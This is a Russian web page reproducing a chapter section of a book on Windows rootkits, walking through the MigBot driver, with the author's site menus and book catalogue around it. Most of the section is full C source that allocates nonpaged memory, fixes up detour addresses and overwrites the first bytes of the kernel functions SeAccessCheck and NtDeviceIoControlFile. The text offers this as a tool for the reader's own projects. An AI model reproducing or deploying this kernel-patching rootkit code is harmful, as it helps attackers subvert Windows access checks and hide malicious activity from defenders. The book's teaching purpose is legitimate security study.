Есть вопрос?
Зайди на форум

Поиск:

Denix: русификация Ubuntu и кодеки :: RSS:: Скачать книги Колисниченко в PDF

Англо-русский словарь компьютерных терминов (Д. Колисниченко)

A  B  C  D  E  F  G  H  I  K  L  M  N  O  P  Q  R  S  T  V  W  X  Y  Z 

укрпочта отслеживание посылок перевод денег график отключения света в Кировограде график отключения счета в Киеве график отключения света в Одессе (zip)

Книга Д. Колисниченко Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.

14.3. Невыгружаемая память и изменение адресов "на лету"

Код руткита, на который передается управление при патчинге функций, находится в памяти вашего драйвера. А это весьма нежелательно, особенно, если вы хотите сделать драйвер выгружаемым. Тогда при выгрузке на жесткий диск драйвера будет выгружен и весь его код. Исходя из этого, код драйвера вам нужно хранить в невыгружаемой памяти (NonPagedPool Memory). Даже если драйвер будет выгружен на диск, его код останется в невыгружаемой памяти, что еще больше запутает антируткитное средство. MigBot использует именно невыгружаемую память.

Помните, в последних двух функциях у нас были инструкции перехода на несуществующие адреса памяти. Эти адреса просто заглушки - их нужно будет вычислить во время выполнения драйвера, поскольку мы и сами не знаем, какие это будут адреса. Все выяснится после загрузки драйвера. Для этого (и не только для этого) в файле migbot.sys используются две функции:

Первую функцию рассмотрим подробно, а для второй приведем только листинг - она создана "по образу и подобию".

VOID DetourFunctionSeAccessCheck()

{

      char *actual_function = (char *)SeAccessCheck;

      char *non_paged_memory;

      unsigned long detour_address;      // адрес "обхода"

      unsigned long reentry_address;

      int i = 0;

Следующий код будет записан вместо оригинальных инструкций. Последние два байта - это NOP:

char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 };

Это код безусловного перехода на адрес 0008:11223344. Следующее действие - это вычисление адреса возврата. Да, того самого адреса, который мы должны "прописать" в функции my_function_detour*. Вычисляется он просто - это будет адрес, следующий за нашим патчем. Поскольку размер нашего патча равен 9 байтам, то к начальному адресу патча мы должны добавить 9. Конечно, если у вас пат будет другого размера, то вы должны будете добавить другое значение:

reentry_address = ((unsigned long)SeAccessCheck) + 9;  // адрес возврата

После этого нам нужно выделить немного невыгружаемой памяти - столько, сколько нужно для кода руткита. После того, как память будет выделена, мы побайтно скопируем в нее функцию my_function_detour_seaccesscheck(). В переменной detour_address мы сохраним адрес этой функции (в невыгружаемой памяти).

            // выделяем память в невыгружаемой области

non_paged_memory = ExAllocatePool(NonPagedPool, 256);

     

      // копируем побайтно функцию my_function_detour_seaccesscheck

// в только что

      // выделенную область памяти

      for(i=0;i<256;i++)

      {

      ((unsigned char *)non_paged_memory)[i] = ((unsigned char

*)my_function_detour_seaccesscheck)[i];

      }

      detour_address = (unsigned long)non_paged_memory;

А теперь начинается самое интересное. Совсем недавно мы определили код обхода - JMP 0008:11223344. Сейчас мы заменим это абстрактное значение реальным значением - адресом функции обхода (detour_address).

*((unsigned long *)(&newcode[1]) ) = detour_address;

Последний штрих - нам нужно найти адрес 0xAAAAAAAA. Помните, мы его использовали в функции my_function_detour_seaccesscheck:

jmp FAR 0x08:0xAAAAAAAA

Этот адрес нужно заменить адресом возврата (reentry_address):

for(i=0;i<200;i++)

      {

            if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&

                  (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&

                  (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&

                  (0xAA == ((unsigned char *)non_paged_memory)[i+3]))

            {

                  // мы наши адрес 0xAAAAAAAA

                  // заменяем его корректным адресом

                  *( (unsigned long *)(&non_paged_memory[i]) ) =

reentry_address;

                  break;

            }

      }

Все, что нам осталось - это перезаписать байты в функции ядра:

      for(i=0;i < 9;i++)

      {

            actual_function[i] = newcode[i];

      }

 

Рассмотрим полный код функций DetourFunctionSeAccessCheck() и DetourFunctionNtDeviceIoControlFile()

VOID DetourFunctionSeAccessCheck()

{

      char *actual_function = (char *)SeAccessCheck;

      char *non_paged_memory;

      unsigned long detour_address;

      unsigned long reentry_address;

      int i = 0;

      char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 };

      reentry_address = ((unsigned long)SeAccessCheck) + 9;

      non_paged_memory = ExAllocatePool(NonPagedPool, 256);

     

      for(i=0;i<256;i++)

      {

            ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_seaccesscheck)[i];

      }

      detour_address = (unsigned long)non_paged_memory;

     

      *( (unsigned long *)(&newcode[1]) ) = detour_address;

      for(i=0;i<200;i++)

      {

            if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&

                  (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&

                  (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&

                  (0xAA == ((unsigned char *)non_paged_memory)[i+3]))

            {

           

                  *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;

                  break;

            }

      }

      for(i=0;i < 9;i++)

      {

            actual_function[i] = newcode[i];

      }

}

VOID DetourFunctionNtDeviceIoControlFile()

{

      char *actual_function = (char *)NtDeviceIoControlFile;

      char *non_paged_memory;

      unsigned long detour_address;

      unsigned long reentry_address;

      int i = 0;

      char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };

      reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8;

      non_paged_memory = ExAllocatePool(NonPagedPool, 256);

     

      for(i=0;i<256;i++)

      {

            ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i];

      }

      detour_address = (unsigned long)non_paged_memory;

     

      *( (unsigned long *)(&newcode[1]) ) = detour_address;

      for(i=0;i<200;i++)

      {

            if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&

                  (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&

                  (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&

                  (0xAA == ((unsigned char *)non_paged_memory)[i+3]))

            {

                  *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;

                  break;

            }

      }

      for(i=0;i < 8;i++)

      {

            actual_function[i] = newcode[i];

      }

}

Функция DriverEntry драйвера MigBot выглядит так:

 

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )

{

      DbgPrint("My Driver Loaded!");

     

      if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile())

      {

            DbgPrint("Match Failure on NtDeviceIoControlFile!");

            return STATUS_UNSUCCESSFUL;

      }

 

      if(STATUS_SUCCESS != CheckFunctionBytesSeAccessCheck())

      {

            DbgPrint("Match Failure on SeAccessCheck!");

            return STATUS_UNSUCCESSFUL;

      }

     

      DetourFunctionNtDeviceIoControlFile();

      DetourFunctionSeAccessCheck();

 

      return STATUS_SUCCESS;

}

Функция DriverEntry проверяет те ли функции мы патчим (об этом мы уже говорили). Если функции те, что нам надо, DriverEntry вызывает функции DetourFunctionNtDeviceIoControlFile() и DetourFunctionSeAccessCheck()

Итак, подытожим. Функции MigBot выполняют следующие действия:

В результате у нас есть мощное средство патчинга времени выполнения, которое вы можете использовать в своих проектах. Кстати, его можно использовать не только для создания руткитов, но и для "горячего" исправления ошибок - без останова системы.

На главную

Мне нравится!

Сегодня: 19/01

Поздравлять сегодня некого

Последние посты форума

Интересная картинка

Samsung Galaxy J2 Prime (SM-G532F)

дааа

Обучение PHP-программированию

Новый дизайн сайта

Возвращение на динамическую страницу сайта

С Новым Годом!

Бесплатный хостинг, SSL сертификат, не ограниченно

капец погода в ноябре у нас

Посоветуйте хостинг

флэшмобы

вот люди где живут... экстрим

авто-дилеры

Программы для Linux

книга Командная строка Linux и автоматизация рутинных задач

Совет:

Книги Д. Колисниченко:

Linux

Linux. От новичка к профессионалу. 2-е изд.Linux. От новичка к профессионалу. 2-е изд.
Даны ответы на все вопросы, возникающие при работе с Linux: от установки и настройки этой ОС до настройки сервера на базе Linux. Материал книги максимально охватывает все сферы применения Linux                                                                                                            

FreeBSD 8. Руководство администратораFreeBSD 8. Руководство администратора
Книга посвящена очередной версии популярной операционной системы с открытым исходным кодом — FreeBSD 8. Отличная книга для начинающих пользователей BSD                                                                                                                                                      

Командная строка Linux и автоматизация рутинных задачКомандная строка Linux и автоматизация рутинных задач
Рассмотрены команды Linux, основы работы в командной строке, а также настройка системы с помощью программ, обладающих только текстовым интерфейсом. Работа с системой выполняется только в режиме консоли, что требует определенной квалификации пользоват                                                   

PHP

Самоучитель PHP 4/5Самоучитель PHP 4/5
Моя первая книга по PHP, на базе которой была написана книга Самоучитель PHP5 (НиТ). Давно распродана и не поддерживается                                                                                                                                                                                    

PHP и MySQL. Разработка Web-приложений. 4-е издPHP и MySQL. Разработка Web-приложений. 4-е изд
Даны начала программирования на PHP: установка и настройка Apache, PHP, MySQL и кроссплатформенной сборки XAMPP, выбор редактора PHP-кода, синтаксис языка и самые полезные функции PHP 5.4. Рассмотрено создание собственного движка сайта и ряда дополни                                                   

Самоучитель PHP 5. Книга + CDСамоучитель PHP 5. Книга + CD
Долгожданное новое издание PHP5 с CD, на котором вы найдете листинги из книги и дополнительное программное обеспечение (Apache, PHP, MySQL, редакторы кода). Книга не поддерживается, устарела                                                                                                               

Интернет/CMS

Движок для вашего сайта. CMS Joomla!, Slaed, PHP-NukeДвижок для вашего сайта. CMS Joomla!, Slaed, PHP-Nuke
Книга ориентирована как на обычных пользователей Интернета, которым нужно в кратчайшие сроки создать свой сайт, так и на разработчиков, которые заинтересованы в построении собственной системы управления сайтом.                                                                                           

Новейший самоучитель компьютера и ИнтернетНовейший самоучитель компьютера и Интернет
О такой книге долгие годы мечтали миллионы начинающих пользователей, которые осваивали технику самостоятельно или по непонятным, громоздким руководствам.                                                                                                                                                    

Joomla 1.5.15/1.6.0. Руководство пользователяJoomla 1.5.15/1.6.0. Руководство пользователя
Эта книга — простое и эффективное учебное пособие по освоению и использованию системы управления контентом веб-сайта Joomla 1.5.15/1.6. Отличное руководство для начинающих                                                                                                                                  

Компьютер/Windows

Компьютер На Флешке. Работающие Windows, Linux, офис и 150 самых полезных программКомпьютер На Флешке. Работающие Windows, Linux, офис и 150 самых полезных программ
В этой книге вы найдете уникальную полезную информацию о том, как установить на флешку Windows XP и Windows Vista...                                                                                                                                                                                         

Англо-русский словарь компьютерных терминов, изд. 1-3Англо-русский словарь компьютерных терминов, изд. 1-3
Словарь-справочник включает в себя все основные термины, встречающиеся при работе с компьютером, программами и компьютерной документацией.                                                                                                                                                                   

Microsoft Windows 8 для пользователейMicrosoft Windows 8 для пользователей
Описаны нововведения Windows 8, особое внимание уделено использованию системы на планшете. Рассмотрена установка системы как на физический компьютер (стационарный, ноутбук, нетбук, планшет)                                                                                                                

Сети

Беспроводная сеть дома и в офисеБеспроводная сеть дома и в офисе
Книга поможет начинающему администратору домашней или офисной сети в кратчайшие сроки развернуть, настроить или модернизировать беспроводную сеть. Отличный выбор для построения сети SOHO                                                                                                                   

Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.
Книга о настройке сети в Windows (98,NT,XP) и Linux. Является превосходным практическим руководством по созданию и обслуживанию компьютерных сетей.                                                                                                                                                          

Самоучитель системного администратора. 4-е изд.Самоучитель системного администратора. 4-е изд.
Изложены основные задачи системного администрирования, описаны базовые протоколы, даны рекомендации по выбору оборудования и проведению ежедневных рутинных операций. Подробно раскрыты технологии, используемые при построении информационных систем, опи                                                   

Безопасность

Анонимность и безопасность в Интернете. От Анонимность и безопасность в Интернете. От "чайника" к пользователю
Простым и понятным языком рассказано, как скрыть свое местонахождение и IP-адрес, используя анонимные сети Tor и I2P, посетить заблокированные администратором сайты, защитить личную переписку от посторонних глаз                                                                                          

Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.
-                                                                                                                                                                                                                                                                                                            

Автомобили

150 ситуаций на дороге, которые должен уметь решать каждый водила150 ситуаций на дороге, которые должен уметь решать каждый водила
Опытный инструктор кратко и четко расскажет, что следует делать водителю в 150 самых различных ситуациях на дороге, которые могут опустошить ваш кошелек, испортить нервы или здоровье                                                                                                                       

Что делать, чтобы не надули в автосервисе. Советы и рекомендацииЧто делать, чтобы не надули в автосервисе. Советы и рекомендации
Вы недавно приобрели автомобиль или уже имеете водительский стаж, но при этом особо не вникаете в устройство автомобиля?                                                                                                                                                                                     

Популярный самоучитель безопасного вожденияПопулярный самоучитель безопасного вождения
Ценность этой книги в том, что впервые советы вам будет давать проверенный профи: президент клуба BMW! Как быстро и правильно научиться водить машину, парковаться, разгоняться, тормозить.                                                                                                                  

Переводные книги

Переводные книгиПереводные книги
Данные книги были переведены мною на русский язык (с английского и чешского). Надеюсь качество перевода вам понравится!                                                                                                                                                                                      

Android

Планшет и смартфон на базе Android для ваших родителей, 2-е изд.Планшет и смартфон на базе Android для ваших родителей, 2-е изд.
Книга знакомит читателя с мобильными устройствами на базе Android. Она написана простым и понятным языком для людей среднего и старшего возраста                                                                                                                                                             

Безопасный Android: защищаем свои деньги и данные от кражиБезопасный Android: защищаем свои деньги и данные от кражи
Рассмотрены различные способы обеспечения безопасности Android-устройств: шифрование персональной информации, хранящейся на устройстве, шифрование передаваемых данных, VPN-соединения, анонимизация трафика                                                                                             

Планшет и смартфон на базе Android для ваших родителейПланшет и смартфон на базе Android для ваших родителей
Книга рассчитана на людей среднего и старшего возраста. Она поможет освоить современный «карманный компьютер» на базе Android, в котором все новое и "не так, как в Windows". Доступным языком описывается, как включить и выключить смартфон и т.д.                                                         

Статьи

Rambler's Top100